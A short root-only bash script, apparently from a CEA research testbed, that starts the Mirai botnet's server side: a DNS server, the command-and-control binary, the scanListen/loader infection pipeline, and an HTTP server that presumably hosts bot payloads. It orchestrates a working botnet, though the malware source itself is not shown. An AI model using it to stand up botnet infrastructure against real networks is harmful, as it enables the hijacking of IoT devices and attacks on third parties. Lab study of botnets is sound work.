#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


if [ "$(id -u)" != "0" ]; then
   echo "This script must be run as root" 1>&2
   echo -e "Usage : sudo $0" 1>&2
   exit 1
fi

# Attempting to terminate any residual Mirai server processes from the previous execution (in case they weren't properly killed)
pkill -9 cnc
pkill -9 loader.dbg
pkill -9 scanListen
pkill -f "python3 -m http.server --bind 50.50.50.53 80"

echo "[+] Starting the DNS server. "
cd ../mirai_setup/dnsServer
./InstallDNS.sh 

echo "[+] Starting the C&C (Command and Control) server. "
cd ../compilMirai/Mirai-Source-Code/mirai/release
./cnc &

echo "[+] Starting the loader server. "
cd ../../loader
./scanListen | ./loader.dbg > /dev/null &

echo "[+] Starting the HTTP server. "
python3 -m http.server --bind 50.50.50.53 80 &

sleep 2